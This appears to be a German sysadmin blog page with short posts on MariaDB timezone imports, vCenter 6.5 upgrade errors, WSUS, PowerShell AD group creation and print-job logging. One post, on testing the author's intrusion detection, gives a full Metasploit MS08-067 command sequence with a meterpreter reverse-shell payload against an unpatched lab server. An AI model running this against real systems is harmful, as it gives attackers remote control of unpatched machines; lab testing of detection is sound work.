.:Ewig Drohendes Versagen:.

Für den Import werden Zeitzonen Tabellen benötigt welche man hier: https://dev.mysql.com/downloads/timezones.html bekommt.

Diese können dann z.B. mit Heidi oder per Console eingespielt werden.

Problem ist allerdings, dass eine der Spalten „Offset“ heißt und dies eins der SQL Keyword ist….

Abhilfe schafft ein Suchen nach Offset, und ein Ersetzten mit `Offset` – wichtig die richtigen Anführungszeichen hier zu verwenden.

@Google
How to deal with SQL column names that look like SQL keywords?
mariadb offset as colum name
mariadb timezone offset
import timezone in mariadb under windows

Zu Beginn -> Backup / Snapshot des „alten“ vCenters!!

Einen ersten Eindruck des Setups kann man sich hier ansehen:
https://v-punk.com/how-to-upgrade-vcsa-6-0-to-vcsa-6-5/

Wenn man die neue 6.5er Appliance mit dem „alten“ Namen deployen möchte – sollte man die alte VM vorher einfach umbenennen.
Dann ist es natürlich auch nicht verkehrt einen anderen Datastore zu nehmen…

Bevor es wirklich losgeht ->>
1. Überprüfen ob das root Password nicht abgelaufen ist
-> A general system error occurred: vix error codes = (1, 4294967293).
–>> https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=2147895

2. Den Migrations Assistenten auf dem Server mit dem Update Manager starten
-> There is no MA extension for VUM available on source VC.
–>> http://pubs.vmware.com/vsphere-65/index.jsp?topic=%2Fcom.vmware.vsphere.upgrade.doc%2FGUID-6A39008B-A78C-4632-BC55-0517205198C5.html

3. Evtl. vorher mal prüfen ob die Datenbank Sequenzen den richtigen Owner haben
-> Database in-place upgrade failed. Please see vcdb_inplace.err and vcdb_inplace.out for details.
–>> https://communities.vmware.com/thread/548057

4. Fehler bei Schritt 3
-> Error attempting Vcintegrity Export file does not exist or is corrupted, abort import
–>> https://communities.vmware.com/thread/546958
—>>>> Bei mir hat ein Reboot der neuen Appliance zumindest eine 6.5er Appliance zurückgelassen auf der alles bis auf den Update Manager migriert war…

Um die Intrusion Detection unseres Netzwerkes zu testen, habe ich ein wenig mit Kali / Metasploit herum experimentiert.

Als Ziel habe ich einen ungepatchten Windows 2003 R2 Server (deutsch) auf einem ESXi verwendet.

Als Angreifer kam ein Kali 2.0 ebenfalls auf einem ESXi zum Einsatz.

Als Exploit bietet sich hier immer der MS08_067 an, da dieser in der Regel relativ zuverlässig „zündet“.

Jedoch leider nicht auf meinem Deutschen Server – hierfür ist ggf. die dedizierte Angabe des Targets nötig.


msfconsole -q
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp
set RHOST Ziel.IP
set LHOST Quell.IP
set target 66
exploit

Ohne die Angabe des Target stürzt der Server Dienst am Ziel immer „nur“ ab – jedoch wird der Payload nicht ausgeführt.

Mit Show Targets kann man sich alle Möglichkeiten anzeigen lassen – wobei hier das NX oder NO NX glaube ich eine entscheidende Rolle spielt 🙂

Da ich es immer mal wieder Nachschlagen muss – hier ein Link:

How to identify and decline superseded updates in WSUS

• No icon: update doesn’t supersede another one nor is it superseded by an update
• Blue square on top: this update supersedes another update, these updates you do not want to clean…!!
• Blue square in the middle: this update has been superseded by another update, and superseded another update as well, this is an example of an update you may want to clean (decline)
• Blue square in the right below corner: this update has been superseded by another update, this is an example of an update you may want to clean (decline)

Bevor ich es mal wieder vergesse:

Import-Module ActiveDirectory

import-csv c:\liste.csv | foreach {New-ADGroup -Name $_.name -Path "OU=Hallo,DC=Welt,DC=it" -SamAccountName $_.name -GroupCategory 1 -GroupScope 1}

Das CSV enthält in der ersten Zeile die Überschrift name und darunter in jeder Zeile einen Gruppennamen:

name
RG-Gruppe01
RG-Gruppe02
….

Erläuterung:
GroupCategory:
Distribution or 0
Security or 1

GroupScope:
DomainLocal or 0
Global or 1
Universal or 2

Weitere Details gibt es hier:
Microsoft Technet – New-ADGroup
Microsoft Technet – Verwenden des Cmdlet „Import-Csv“
Andi Sichel – Active Directory: Benutzer, Gruppen und OUs via Powershell

Nun der eigentliche Grund warum ich mich heute in den Admin Bereich meines Blogs begeben habe.

Seit Windows 2008 werden Druckjobs nicht mehr per Default im Eventlog des Printservers gespeichert – da das manchmal aber ganz hilfreich ist kann man dies aber auch wieder aktivieren. Sehr Hilfreich ist hier die wirklich gute Übersetzung des deutschen Windows Servers …..

Operational -> Betriebsbereit

Also – Ereignisanzeige starten -> Anwendungs- und Dienstprotokolle -> Microsoft -> Windows -> PrintService -> Betriebsbereit

Ein Rechtsklick auf „Betriebsbereit“ fördert ein Kontextmenü zu Tage in welchem man dann das Protokoll aktivieren kann:

Um schnell und komfortabel an das Log zu kommen – kann  man sich dieses einfach unter den Benutzerdefinierten Ansichten ablegen:

So sieht dann das Ergebnis aus: